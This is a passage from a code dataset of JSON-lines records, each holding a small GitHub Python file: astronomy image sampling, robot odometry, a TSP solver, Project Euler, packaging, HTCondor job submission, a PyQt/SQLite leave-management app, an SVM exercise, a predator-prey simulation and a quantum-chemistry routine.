dpatch = patchify(data,step=(2,2))\n ipatch = patchify(invvar,step=(2,2))\n\n # calc variance in data and min in invvar\n var = dpatch.std(axis=1)\n loi = ipatch.min(axis=1)\n\n # throw out invvar = 0\n ind = loi > 0\n dpatch = dpatch[ind]\n var = var[ind]\n\n # draw 1% from a uniform dist over variance\n # fix this slow bit!!\n val = np.random.rand(0.01 * len(dpatch[:,0])) * \\\n (np.max(var)-np.min(var)) + np.min(var)\n ind = np.array([],dtype='int')\n for v in val:\n ind = np.append(ind,(np.abs(var-v).argmin()))\n\n # write it to file\n hdu = pf.PrimaryHDU(dpatch[ind])\n hdu.writeto(outname)\n \n\ndef patchify(A, step=(1,1), block= (8, 8)):\n \"\"\"Make a Ndata by (flattened) patch, 2D array\"\"\"\n shape = ((A.shape[0] - block[0])/step[0] + 1,\n (A.shape[1] - block[1])/step[1] + 1) + block\n strides = (A.strides[0]*step[0],A.strides[1]*step[1]) + A.strides\n blocks = ast(A, shape= shape, strides= strides)\n blocks = blocks.flatten()\n shape = (shape[0]*shape[1],block[0]*block[1])\n strides = (blocks.itemsize*block[0]*block[1],blocks.itemsize)\n return ast(blocks, shape= shape, strides= strides)\n\n\ndef get_sdss_data(run,camcol,field):\n \"\"\"Call Tractor functions to get data, invvar images\n of a given SDSS field\"\"\"\n d = sdss.get_tractor_image_dr9(run,camcol,field,'r',psf='dg')\n d = d[0]\n return d.data,d.invvar\n\n\n\n\n","repo_name":"rossfadely/sdss-mixtures","sub_path":"code/sdss_mog.py","file_name":"sdss_mog.py","file_ext":"py","file_size_in_byte":6788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"15529260748","text":"import apigpio\nimport asyncio\nimport os\nimport sys\n\nsys.path.append(f'{os.path.dirname(os.path.realpath(__file__))}/../')\n\nfrom odom.encoder import Encoder\nfrom odom.model import OdometerData\nfrom config import ENCODERS, PIGPIO\n\n\nclass Odometer:\n def __init__(self, left, right):\n self.l = left\n self.r = right\n\n def get_raw_counts(self):\n return OdometerData(self.l.count, self.r.count)\n\n def reset(self):\n self.r.reset()\n self.l.reset()\n\n @classmethod\n async def create(cls, loop):\n pi = apigpio.Pi(loop)\n print('connecting..')\n await pi.connect((PIGPIO['HOST'], PIGPIO['PORT']))\n print('pigpio connected')\n right_enc = await Encoder.create(pi, ENCODERS['RIGHT'])\n left_enc = await Encoder.create(pi, ENCODERS['LEFT'])\n return cls(left_enc, right_enc)\n\n\nif __name__ == '__main__':\n loop = asyncio.get_event_loop()\n od = loop.run_until_complete(Odometer.create(loop))\n\n loop.run_forever()\n","repo_name":"slomkarafa/rpi-tracker","sub_path":"odom/odometer.py","file_name":"odometer.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"28556346930","text":"import sys\nimport os\nimport time\n\nfrom util import get_output_filename, read_data, build_matrix, write_sol\nfrom branch_and_bound import bnb_min_two_edges\nfrom nearest_neighbor import nearest_neighbor\nfrom LS1 import LS1\nfrom LS2 import LS2\n\n\nif __name__ == \"__main__\":\n\targs = sys.argv\n\tif len(args) < 4:\n\t\tsys.exit(\"Usage: {} -inst -alg -time -seed \".format(args[0]))\n\tseed = None\n\tfor i in range(len(args)-1):\n\t\tif args[i]=='-inst':\n\t\t\tinput_filename = args[i+1]\n\t\telif args[i]=='-alg':\n\t\t\talg = args[i+1]\n\t\telif args[i]=='-time':\n\t\t\tcut_time = args[i+1]\n\t\telif args[i]=='-seed':\n\t\t\tseed = int(args[i+1])\n\n\tif alg not in (\"BnB\", \"Approx\", \"LS1\", \"LS2\"):\n\t\tsys.exit(\"No such algorithm\")\n\n\tif alg in (\"LS1\", \"LS2\") and seed is None:\n\t\tsys.exit(\"Input a random seed for Local Search algorithms\")\n\n\tif not os.path.isdir(\"./output\"):\n\t\tos.makedirs(\"output\")\n\tlocation = input_filename.split('/')[-1].split('.')[0]\n\toutput_filename = get_output_filename(location, alg, cut_time, seed)\n\n\tcut_time = float(cut_time)\n\tstart_time = time.time()\n\n\tx_vals, y_vals = read_data(input_filename)\n\tdistance_matrix = build_matrix(x_vals, y_vals)\n\n\toptimal_solutions = {\n\t\t'Cincinnati':277952,\n\t\t'UKansasState':62962,\n\t\t'Atlanta':2003763,\n\t\t'Philadelphia':1395981,\n\t\t'Boston':893536,\n\t\t'Berlin':7542,\n\t\t'Champaign':52643,\n\t\t'NYC':1555060,\n\t\t'Denver':100431,\n\t\t'SanFrancisco':810196,\n\t\t'UMissouri':132709,\n\t\t'Toronto':1176151,\n\t\t'Roanoke':655454\n\t}\n\n\tif alg == \"BnB\":\n\t\truntime, best_cost, best_tour = bnb_min_two_edges(distance_matrix, output_filename, start_time, cut_time)\n\telif alg == \"Approx\":\n\t\truntime, best_cost, best_tour = nearest_neighbor(distance_matrix, output_filename, start_time, cut_time)\n\telif alg == \"LS1\":\n\t\tbest_cost, best_tour = LS1(distance_matrix, output_filename, start_time, cut_time, seed)\n\telif alg == \"LS2\":\n\t\tbest_cost, best_tour = LS2(distance_matrix, output_filename, start_time, int(cut_time), int(seed))\n\trel_err = round(1.0 * (best_cost - optimal_solutions[location]) / optimal_solutions[location], 4)\n\tprint(location,alg,best_cost,rel_err)\n\n\twrite_sol(output_filename, best_cost, best_tour)\n","repo_name":"carterprice2/Algorithms_final_project","sub_path":"tsp_main.py","file_name":"tsp_main.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"22015916079","text":"#Problem87\n\nimport Problem46 as prime\n\nprimes = prime.prime_list(7100)\nprimes2 = prime.prime_list(370)\nprimes3 = prime.prime_list(86)\nprint(len(primes) * len(primes2) * len(primes3))\n\n\"\"\"\n a < 7072\n b < 369\n c < 85\n\"\"\"\n\ndef prime_triple(a, b, c):\n return a**2 + b**3 + c**4\n\ndef elim_repeats(l):\n l.sort()\n for i in range(0, len(l)):\n if l[i+1] == l[i]:\n l.remove(l[i])\n return l\n\n\nm = []\n\nfor i in primes:\n for j in primes2:\n for k in primes3:\n if prime_triple(i, j, k) < 5*10**7 and prime_triple(i, j, k) not in m:\n m.append(prime_triple(i, j, k))\n \n\n\nprint(len(m))\nprint(len(elim_repeats(m)))\n\n\n","repo_name":"KevinGoldberg/ProjectEulerScripts","sub_path":"Problem87.py","file_name":"Problem87.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"25611921433","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport codecs\nimport re\nimport sys\n\nimport os\nfrom setuptools import setup, find_packages\n\n\nif sys.version_info < (3, 5, 0):\n raise RuntimeError(\"tle-storage-service requires Python 3.5.0+\")\n\n\nPROJECT_DIR = os.path.abspath(os.path.dirname(__file__))\nVERSION_REGEXP = re.compile(r\"^__version__ = [\\'\\\"](.+?)[\\'\\\"]$\", re.MULTILINE)\n\n\ndef read(fn):\n with codecs.open(os.path.join(PROJECT_DIR, fn), encoding='utf-8') as f:\n return f.read().strip()\n\n\ndef version():\n try:\n return VERSION_REGEXP.findall(read(os.path.join('tle_storage_service', '__init__.py')))[0]\n except IndexError:\n raise RuntimeError('Unable to determine version.')\n\n\nvn = version()\nurl = 'https://github.com/nkoshell/tle-storage-service'\n\nsetup(\n name='tle-storage-service',\n description='Small aiohttp server application for TLE storage',\n long_description=read('README.rst'),\n version=vn,\n packages=find_packages(),\n include_package_data=True,\n url=url,\n download_url='{url}/archive/{version}.tar.gz'.format(url=url, version=vn),\n license='MIT',\n author='nkoshell',\n author_email='nikita.koshelev@gmail.com',\n install_requires=read('requirements.in').splitlines(),\n)\n","repo_name":"nkoshell/tle-storage-service","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"19448391777","text":"import json\nimport sys\nimport logging\nfrom traceback import (StackSummary, TracebackException, walk_tb)\n\nclass exceptions(Exception):\n\n def __init__(self, *args: object) -> None:\n self.args = args\n self.stack_summary = StackSummary()\n self.exc_info = sys.exc_info()\n self.traceback_exception = TracebackException(*self.exc_info)\n self.str_error = self.traceback_exception._str\n self.object_error = walk_tb(self.exc_info[2])\n self.frame_summary = self.stack_summary.extract(self.object_error)\n\n self.traceback_cause()\n\n def traceback_cause(self):\n try:\n if self.traceback_exception.stack:\n logging.error(json.dumps({frame[0]: {\"error\": self.str_error, \"path\": frame[1].filename,\n \"line\": frame[1].lineno, \"code\": frame[1]._line} for frame in enumerate(self.frame_summary)}, indent=2))\n logging.error(self.args)\n except Exception as err:\n print(err)\n","repo_name":"YuriMotoshima/utils-api-pipefy","sub_path":"utils_api_pipefy/libs/excepts.py","file_name":"excepts.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"44"} +{"seq_id":"27092497350","text":"import numpy as np\nimport sys\nimport subprocess as sp\n\n#infile_directory = \"crab_SingleMuon_Run2016C-03Feb2017-v1\"\n\npickleoutfile = sys.argv[1]\ninfiles = sys.argv[2:]\n\ncmd = \"universe = vanilla\\n\"\ncmd += \"Executable = execute_python_script.sh\\n\"\ncmd += \"Should_Transfer_Files = YES\\n\"\ncmd += \"WhenToTransferOutput = ON_EXIT\\n\"\ncmd += \"Transfer_Input_Files = topbnv_tools.py, top_reco_Reza_ROOT_file_factorized.py\\n\"\ncmd += \"Output = condor_log_files/bellis_%s_$(Cluster)_$(Process).stdout\\n\" % (pickleoutfile.split('.pkl')[0])\ncmd += \"Error = condor_log_files/bellis_%s_$(Cluster)_$(Process).stderr\\n\" % (pickleoutfile.split('.pkl')[0])\ncmd += \"Log = condor_log_files/bellis_%s_$(Cluster)_$(Process).log\\n\" % (pickleoutfile.split('.pkl')[0])\ncmd += \"notify_user = mbellis@FNAL.GOV\\n\"\ncmd += \"x509userproxy = /tmp/x509up_u47418 \\n\"\ncmd += \"Arguments = --outfile %s \" % (pickleoutfile)\nfor infile in infiles:\n prepend = \"root://cmsxrootd.fnal.gov//store/user/mbellis\"\n #postpend = infile.split('mbellis')[1]\n postpend = infile.split('eos_store')[1]\n filename = \"%s/%s \" % (prepend, postpend)\n cmd += filename \ncmd += \"\\n\"\ncmd += \"Queue 1\\n\"\n\nprint(cmd)\n\noutfilename = \"cdr_temp_%s.jdl\" % (pickleoutfile.split('.pkl')[0])\noutfile = open(outfilename,'w')\noutfile.write(cmd)\noutfile.close()\n\n# Submit it\ncondor_cmd = ['condor_submit', outfilename]\nsp.Popen(condor_cmd,0).wait()\n\n","repo_name":"mattbellis/Top_BNV","sub_path":"sandbox/build_condor_script.py","file_name":"build_condor_script.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"26659025372","text":"import sys\nfrom PyQt5.uic import loadUi\nfrom PyQt5 import QtWidgets,QtCore\nfrom Supprimer_Acceptation import Ui_sup\nfrom Rechercher_Acceptation import Ui_rech\nfrom PyQt5.QtCore import Qt\nfrom Demande_Responsable import Ui_Form\nfrom reloading_screen import waiting\nfrom PyQt5 import QtGui\nfrom message import msg\nimport Resources_rc\nimport sqlite3\ncheck = False\ncheck_Image = True\nid_emp_global = 0\nclass Login(QtWidgets.QDialog):\n def __init__(self):\n super().__init__()\n loadUi(\"Login_1.ui\",self)\n self.setWindowIcon(QtGui.QIcon('responsable_ico.ico'))\n self.pushButton_3.setStyleSheet(\"\"\"\n QPushButton#pushButton_3{\nimage: url(:/Icons/Icons/hidepass-removebg-preview.png);\nborder:none;\n}\nQPushButton#pushButton_3:hover{\nbackground-color:#E2EEEE;\nborder-radius: 3px;\n}\n \"\"\")\n self.setAttribute(QtCore.Qt.WA_TranslucentBackground)\n self.setWindowFlag(QtCore.Qt.FramelessWindowHint)\n self.pushButton_3.clicked.connect(self.ShowPassword) \n self.pushButton_2.clicked.connect(self.checkInfo_1)\n self.pushButton_6.clicked.connect(self.sortir)\n self.pushButton_7.clicked.connect(self.btn_min_clicked)\n\n\n def open_connection(self):\n return sqlite3.connect(\"appp.db\")\n\n def btn_min_clicked(self):\n self.showMinimized()\n\n def sortir(self):\n self.close()\n\n def checkInfo_1(self):\n timer = QtCore.QTimer()\n timer.singleShot(3000,self.checkInfo)\n\n def ShowPassword(self):\n global check_Image\n if check_Image:\n self.pushButton_3.setStyleSheet(\"\"\"\n QPushButton#pushButton_3{\nimage: url(:/Icons/Icons/showpass-removebg-preview.png);\nborder:none;\n}\nQPushButton#pushButton_3:hover{\nbackground-color:#E2EEEE;\nborder-radius: 3px;\n} \n \"\"\")\n self.lineEdit_2.setEchoMode(QtWidgets.QLineEdit.Normal)\n check_Image = False\n else :\n self.pushButton_3.setStyleSheet(\"\"\"border : none;\n image: url(:/Icons/Icons/hidepass-removebg-preview.png);\n \"\"\")\n check_Image = True\n self.lineEdit_2.setEchoMode(QtWidgets.QLineEdit.Password)\n\n\n\n def checkInfo(self):\n global id_emp_global\n \n self.setEnabled(False)\n username = self.lineEdit.text()\n password = self.lineEdit_2.text()\n db = self.open_connection()\n cursor = db.cursor()\n cursor.execute(f'''SELECT * FROM Responsable;''')\n session = cursor.fetchall()\n db.close()\n for i in session:\n if i[2] == self.lineEdit.text() and i[3] == self.lineEdit_2.text():\n id_emp_global = i[1]\n self.setEnabled(True)\n self.window_entrer = mainwind()\n self.close()\n self.window_entrer.show()\n else :\n self.setEnabled(True)\n self.label_8.setText('Username ou Mot de passe incorrect !')\n\n\n\nclass mainwind(QtWidgets.QMainWindow):\n \n def refresh(self):\n if self.pushButton_16.isChecked():\n self.verifier = False\n self.tableWidget_3.setRowCount(0)\n self.refresh_Attente()\n \n \n\n def setColortoRow(self, table, row, color):\n for j in range(table.columnCount()):\n table.item(row, j).setBackground(color)\n \n def doubleclicked(self):\n print('heelo')\n row = self.tableWidget_3.currentRow()\n print(row)\n if row > -1:\n self.product_id = []\n self.product_id.append(self.tableWidget_3.item(row, 4).text())\n print('date debut',self.product_id[0])\n print('num matricule : ',self.num_matricules[row])\n db = self.open_connection()\n cursor = db.cursor()\n cursor.execute(f\"\"\"SELECT M.Contenu,Conge.Id FROM Conge INNER JOIN Message M ON Conge.Mat_Emp = {self.num_matricules[row]} AND Conge.DateDebut = '{self.product_id[0]}' AND M.Id_Conge = Conge.Id;\"\"\")\n self.Contenu = cursor.fetchone() \n db.commit()\n db.close()\n if self.verifier == True:\n self.msg = msg(self.Contenu[0],self.Contenu[1])\n self.msg.show()\n \n def Supprimer_Demande(self):\n print('supp ...')\n row = self.tableWidget_3.currentRow()\n print(row)\n if row > -1:\n self.product_id = []\n self.product_id.append(self.tableWidget_3.item(row, 4).text())\n print('date debut',self.product_id[0])\n print('num matricule : ',self.num_matricules[row])\n db = self.open_connection()\n cursor = db.cursor()\n cursor.execute(f\"\"\"UPDATE Conge SET Validation = 'S' WHERE Mat_Emp = {self.num_matricules[row]} AND DateDebut = '{self.product_id[0]}';\"\"\")\n db.commit()\n db.close()\n self.refresh()\n \n def refresh_Attente(self):\n global check\n self.num_matricules = {}\n dict_color = {'C':QtGui.QColor(252, 237, 191),'R':QtGui.QColor(252, 161, 148),'V':QtGui.QColor(190, 254, 179),'H':QtGui.QColor(183, 254, 213)}\n db = self.open_connection()\n self.connection = db.cursor()\n if check == False:\n print('button recherecher not selected')\n self.Requete = f\"\"\"SELECT Employees.Mat_Emp, Employees.Nom, Employees.Prenom,Conge.Type_de_Conge,Conge.DateDebut,Conge.NbrJours,Conge.DateFin,Conge.Validation FROM Employees INNER JOIN Conge ON Employees.Mat_Emp=Conge.Mat_Emp AND Employees.Mat_Responsable = {id_emp_global} AND Conge.Validation != 'S' ORDER BY Conge.Validation;\"\"\"\n check = False\n print(self.Requete)\n self.connection.execute(self.Requete)\n self.result = self.connection.fetchall()\n if self.result == []:\n self.label_7.setHidden(False)\n else:\n self.label_7.setHidden(True)\n db.close()\n for lignes,row_data in enumerate(self.result):\n self.tableWidget_3.insertRow(lignes)\n for colonne,self.resultat_colonne in enumerate(row_data):\n \n str_colonne = str(self.resultat_colonne)\n if colonne == 0:\n self.num_matricules[lignes] = self.resultat_colonne\n str_colonne = 'Mat ' + str(self.resultat_colonne)\n item1 = QtWidgets.QTableWidgetItem(str_colonne)\n item1.setFlags(item1.flags() ^ Qt.ItemIsEditable)\n \n self.tableWidget_3.setItem(lignes, colonne,item1)\n if colonne == 7:\n self.searchBtn=QtWidgets.QPushButton('Supprimer')\n self.searchBtn.setDown(True)\n self.searchBtn.setStyleSheet(\"\"\"QPushButton{\n Vertical Size : 30px;\n margin:3px;\n qproperty-icon:url(dd.png);\n qproperty-iconSize: 20px 20px;}\n .QPushButton:hover {\n\t \n\t background-color:#DCFF9B ;\n }\n \"\"\")\n \n self.tableWidget_3.setCellWidget(lignes,colonne,self.searchBtn)\n var = dict_color[str_colonne]\n if str_colonne == 'V':\n self.searchBtn.setEnabled(False)\n self.searchBtn.clicked.connect(self.Supprimer_Demande)\n if colonne == 7:\n # hadi 3ndak tnsaha !!!!\n item1 = QtWidgets.QTableWidgetItem(' ')\n self.tableWidget_3.setItem(lignes, colonne,item1)\n self.setColortoRow(self.tableWidget_3,lignes,var)\n print(self.num_matricules)\n \n \n#je peux faire un ductioannaire pour optimiser refresh\n\n \n \n def rechercher(self):\n global check\n check = True\n print('rechercher selected')\n num_matricule = 2\n self.Requete = f\"\"\"SELECT Employees.Mat_Emp, Employees.Nom, Employees.Prenom,Conge.Type_de_Conge,Conge.DateDebut,Conge.NbrJours,Conge.DateFin,Conge.Validation FROM Employees INNER JOIN Conge ON Employees.Mat_Emp= {num_matricule} ORDER BY Conge.Validation;\"\"\"\n self.refresh()\n def OuvrirCompte(self):\n self.Conge.setCurrentIndex(2)\n def OuvrirTousDemandes(self):\n self.Conge.setCurrentIndex(1)\n def Ouvrirconge(self):\n self.Conge.setCurrentIndex(0)\n def __init__(self):\n global id_emp_global\n super().__init__()\n loadUi(\"Auto_Aeroport.ui\",self)\n self.setWindowTitle('Conge Responsable')\n self.setWindowIcon(QtGui.QIcon('responsable_ico.ico'))\n self.cg = Ui_Form(id_emp_global)\n self.horiz_ayoub.addWidget(self.cg)\n self.refresh_Attente()\n stylesheet = \"::section{Background-color:rgb(114, 123, 184)}\"\n self.tableWidget_3.horizontalHeader().setStyleSheet(stylesheet)\n self.tableWidget_3.verticalHeader().setVisible(False)\n self.Login_Info()\n self.Ouvrirconge()\n #self.tableWidget_2.verticalHeader().setVisible(False)\n #self.tableWidget_4.verticalHeader().setVisible(False)\n self.pushButton_16.clicked.connect(self.refresh)\n self.pushButton_16.setStyleSheet(\"QPushButton {\"\n\t \"box-shadow:inset 0px 1px 0px 0px #276873;\"\n\t \"background:linear-gradient(to bottom, #006387 5%, #408c99 100%);\"\n\t \"background-color:#E9ECE5;\"\n\t \"border:1px solid #29668f;\"\n\t \"display:inline-block;\"\n\t \"cursor:pointer;\"\n \"border-radius:3px;\"\n \"border-radius:0px;\"\n \t \"font-family:Arial;\"\n \"text-align: left;\"\n\t \"font-size:15px;\"\n\n\n\"qproperty-iconSize: 20px 20px;\"\n\t \"color:#000000;\"\n\t \"font-family:Arial;\"\n\t \"font-size:15;\"\n\t \n\t \"text-decoration:none;\"\n \"}\"\n \".QPushButton:hover {\"\n\t \"background:linear-gradient(to bottom, #408c99 5%, #006387 100%);\"\n\t \"background-color:#ADAEAC;\"\n \"}\"\n \".QPushButton:active {\"\n\t \"position:relative;\"\n\t \"top:1px;\"\n \"}\"\n \".QPushButton::pressed {\"\n \"background-color : #54E141 ;\"\n \"}\"\n )\n self.pushButton_16.setIcon(QtGui.QIcon(\":/Icons/Icons/refresh-removebg-preview.png\"))\n\n self.pushButton_9.setIcon(QtGui.QIcon(\":/Icons/Icons/button-305726_960_720-removebg-preview.png\"))\n self.pushButton_9.setStyleSheet(\"QPushButton {\"\n\t \"box-shadow:inset 0px 1px 0px 0px #276873;\"\n\t \"background:linear-gradient(to bottom, #006387 5%, #408c99 100%);\"\n\t \"background-color:#E9ECE5;\"\n\t \"border:1px solid #29668f;\"\n\t \"display:inline-block;\"\n\t \"cursor:pointer;\"\n \"border-radius:3px;\"\n \"padding : -2px;\"\n \"font-family:Arial;\"\n \"text-align: left;\"\n\t \"font-size:15px;\"\n\n\n\"qproperty-iconSize: 30px 30px;\"\n\t \"color:#000000;\"\n\t \"font-family: Barlow, sans-serif;\"\n\t \"font-size:15;\"\n\t \n\t \"text-decoration:none;\"\n \"}\"\n \".QPushButton:hover {\"\n\t \"background:linear-gradient(to bottom, #408c99 5%, #006387 100%);\"\n\t \"background-color:#ADAEAC;\"\n \"}\"\n \".QPushButton:active {\"\n\t \"position:relative;\"\n\t \"top: 2px;\"\n \"}\"\n \".QPushButton::pressed {\"\n\n \"background-color : rgb(255, 51, 51) ;\"\n \"}\"\n )\n self.pushButton_17.setIcon(QtGui.QIcon(\":/Icons/Icons/notifi.png\"))\n self.pushButton_17.setStyleSheet(\"QPushButton {\"\n\t \"box-shadow:inset 0px 1px 0px 0px #276873;\"\n\t \"background:linear-gradient(to bottom, #006387 5%, #408c99 100%);\"\n\t \"background-color:#E9ECE5;\"\n\t \"border:1px solid #29668f;\"\n\t \"display:inline-block;\"\n\t \"cursor:pointer;\"\n \"border-radius:3px;\"\n \"border-radius:0px;\"\n \t \"font-family:Arial;\"\n \"text-align: left;\"\n\t \"font-size:15px;\"\n\n\n\"qproperty-iconSize: 20px 20px;\"\n\t \"color:#000000;\"\n\t \"font-family:Arial;\"\n\t \"font-size:15;\"\n\t \n\t \"text-decoration:none;\"\n \"}\"\n \".QPushButton:hover {\"\n\t \"background:linear-gradient(to bottom, #408c99 5%, #006387 100%);\"\n\t \"background-color:#ADAEAC;\"\n \"}\"\n \".QPushButton:active {\"\n\t \"position:relative;\"\n\t \"top:1px;\"\n \"}\"\n \".QPushButton::pressed {\"\n\n \"background-color : #F8FA81 ;\"\n \"}\"\n )\n\n\n self.pushButton_2.clicked.connect(self.Ouvrirconge)\n self.pushButton_3.clicked.connect(self.OuvrirTousDemandes)\n self.pushButton_7.clicked.connect(self.OuvrirCompte)\n self.pushButton_9.clicked.connect(self.ShutDown)\n self.pushButton_17.clicked.connect(self.Notification)\n self.tableWidget_3.doubleClicked.connect(self.doubleclicked)\n self.verifier = False\n def Notification(self):\n global check\n check = True\n self.verifier = True\n self.Requete = f\"\"\"SELECT Employees.Mat_Emp, Employees.Nom, Employees.Prenom,Conge.Type_de_Conge,Conge.DateDebut,Conge.NbrJours,Conge.DateFin,Conge.Validation FROM Employees INNER JOIN Conge ON Employees.Mat_Emp=Conge.Mat_Emp AND Employees.Mat_Responsable = {id_emp_global} AND Conge.Validation != 'S' AND Conge.Messages = 1 ORDER BY Conge.Validation;\"\"\"\n self.refresh()\n #self.pushButton_14.clicked.connect(self.refresh)\n #self.pushButton_15.clicked.connect(self.refresh)\n def open_connection(self):\n return sqlite3.connect(\"appp.db\")\n def ShutDown(self):\n self.lg = Login()\n self.close()\n self.lg.show()\n def Login_Info(self):\n global id_emp_global\n db = self.open_connection()\n cursor = db.cursor()\n cursor.execute(f\"\"\"SELECT Nom,Prenom FROM Employees WHERE Mat_Emp = {int(id_emp_global)};\"\"\")\n inf = cursor.fetchone()\n print(inf)\n self.label_2.setText(str(id_emp_global))\n self.label_3.setText(inf[0])\n self.label_4.setText(inf[1])\n db.close()\nif __name__ == '__main__':\n app = QtWidgets.QApplication(sys.argv)\n ui = Login()\n ui.show()\n sys.exit(app.exec_())","repo_name":"ayoubElbahti/desktop-application-for-human-resources-management","sub_path":"Responsable/cog.py","file_name":"cog.py","file_ext":"py","file_size_in_byte":14489,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"13071808556","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun May 24 14:02:37 2020\r\n\r\n@author: Agnes\r\n\"\"\"\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n#Runge-Kutta-Verfahren\r\ndef rungekutta (f,x,function_parameters,h):\r\n \"\"\" f: Funktion\r\n x: letzter Zeitschritt\r\n function_parameters: Liste der Parameter\r\n h: Schrittweite\"\"\"\r\n k1 = f(x,*function_parameters)\r\n k2= f(x+(h/2)*k1, *function_parameters)\r\n k3 = f(x+(h/2)*k2, *function_parameters)\r\n k4= f(x+ h*k3, *function_parameters)\r\n xnew = x + (h/6)*(k1+ 2*k2 +2*k3+ k4)\r\n return xnew\r\n\r\n#Räuberbeutemodell\r\n#Parameter\r\ne1 = 2.0\r\ne2 = 0.8\r\ny1= 0.02\r\ny2= 0.0002\r\nh = 0.025 # Schrittweite\r\np1= 100 #Startwert der Beutepopulation\r\np2= 50 #Startwert der Räuberpopulation\r\ntmax = 100\r\n\r\n\r\n#Ausführung des RK-Verfahren\r\nt=0\r\np1list = [p1]\r\np2list = [p2]\r\ntlist = [t]\r\n\r\nwhile t<=tmax:\r\n def rhs1(p1,e1,y1,p2): #Definiton Rechtehandseite Beutepopulation\r\n return p1*(e1-y1*p2)\r\n def rhs2(p2,e2,y2,p1new): #Defintion Rechtehanseite Räuberpopulation\r\n return (-p2)*(e2-y2*p1new)\r\n \r\n p1new = rungekutta(rhs1,p1,[e1,y1,p2],h)\r\n p1list.append(p1new)\r\n \r\n p2new = rungekutta(rhs2,p2,[e2,y2,p1new],h)\r\n p2list.append(p2new)\r\n \r\n \r\n p1 = p1new +0\r\n p2 = p2new +0\r\n\r\n t+=h #Zeitschritt weitergehen\r\n tlist.append(t)\r\n \r\n#Diagramm\r\n# p(t)\r\nplt.plot(tlist,p1list)\r\nplt.plot(tlist,p2list)\r\nplt.xlabel (\"$t$\")\r\nplt.ylabel(\"$p$\")\r\nplt.show() \r\n#Phasenraumtrajektorie\r\nplt.plot(p1list,p2list)\r\nplt.xlabel(\"$p1$\")\r\nplt.ylabel(\"$p2$\")\r\nplt.show()","repo_name":"Agnes-jb/hello-world","sub_path":"Räuber-Beute-Modell.py","file_name":"Räuber-Beute-Modell.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"29320094595","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 25 16:41:08 2022\n\n@author: smpsm\n\"\"\"\n \nfrom sklearn import svm\nfrom sklearn import datasets\nfrom random import randint, random, choice\n\nd=datasets.load_iris() # iris 데이터셋 읽고\n\ns=svm.SVC(gamma=0.1, C=10) # svm 분류 모델 SVC 객체 생성\ns.fit(d.data, d.target) # iris 데이터로 학습 # train set\n\nn_data = len(d.data)\ntest_set=[]\ntest_target=[]\n\nfor i in range(20): \n rand_index = randint(0, n_data-1) # random index 반환\n \n new_data = d.data[rand_index]\n new_target = d.target[rand_index]\n \n new_data += new_data*((random()-0.5)*0.1) # 5% 이내에서 값 랜덤 수정\n \n test_set.append(new_data)\n test_target.append(new_target)\n \n \nres=s.predict(test_set) # Test set // 예측할 때 사용할 데이터\naccuracy_count = 0\n\nprint(\"새로운 20개 샘플의 부류는\")\nprint(\"\\t [test data] / test target / result\")\nfor i in range(len(test_set)): # 샘플을 순서대로 출력\n print(\"%2d\" % (i+1), test_set[i], \"/\", test_target[i], \"/\", res[i])\n \n # 정확률 측정\n if test_target[i] == res[i]:\n accuracy_count += 1\n\nprint(\"정확률은 %lf\" % (accuracy_count/len(res)*100))\n \n\n# 원핫 코드는 한 요소만 1인 이진열을 말함\n# train set으로 모델링과 test set으로 예측을 수행","repo_name":"Sanggoe/Deep-learning-class","sub_path":"exercise 3-2_v2.py","file_name":"exercise 3-2_v2.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"26702955766","text":"from pyscf_addons import frac\nfrom pyscf.lib import logger\nimport numpy as np\n\n\ndef gsc_uks(mol, xc, frontier='homo', spin=0, step=1e-3):\n '''\n Perform UKS calculation using GSC with numerical 2nd order correction\n to calculate the GSC corrected frontier orbital energy.\n\n Parameters\n ----------\n mol : pyscf.gto.Mole\n The molecule system.\n xc : str\n The pyscf supported xc functional.\n frontier : ['homo', 'lumo']\n The frontier orbital considered for the calculation.\n spin : [0, 1]\n The spin of the frontier orbital.\n step : float, default=1e-3\n The numerical step size that is used to numerical evaluation of the\n GSC 2nd order correction.\n\n Return\n ------\n mf_N : pyscf.dft.UKS()\n The pyscf SCF object for the integer N-electron system. Some new\n attributes are dynamically added into `mf_N`.\n\n Attributes\n ----------\n kappa : float\n The numerical 2nd order derivative of DFA energy w.r.t.\n the frontier orbital occupation number.\n gsc_orb_ene : float\n The GSC corrected frontier orbital energy in a.u.\n dfa_orb_ene : float\n The DFA frontier orbital energy in a.u.\n homo : [float, float]\n The HOMO energy in a.u. of alpha and beta spin.\n lumo : [float, float]\n The LUMO energy in a.u. of alpha and beta spin.\n gap : float\n The HOMO-LUMO gap in a.u.\n\n If the SCF fails to converged in the numerical evaluation,\n the return is None.\n '''\n E = []\n mf_N = None\n for i in range(3):\n if frontier == 'homo':\n frac_func = frac.frac_homo\n occ = 1 - step * i\n elif frontier == 'lumo':\n frac_func = frac.frac_lumo\n occ = 0 + step * i\n else:\n raise RuntimeError(f'Not a frontier orbital: {frontier}')\n\n mf = mol.UKS()\n mf.xc = xc\n mf = frac_func(mf, occ, spin)\n if mf.verbose >= logger.INFO:\n logger.info(mf, f'\\n==> 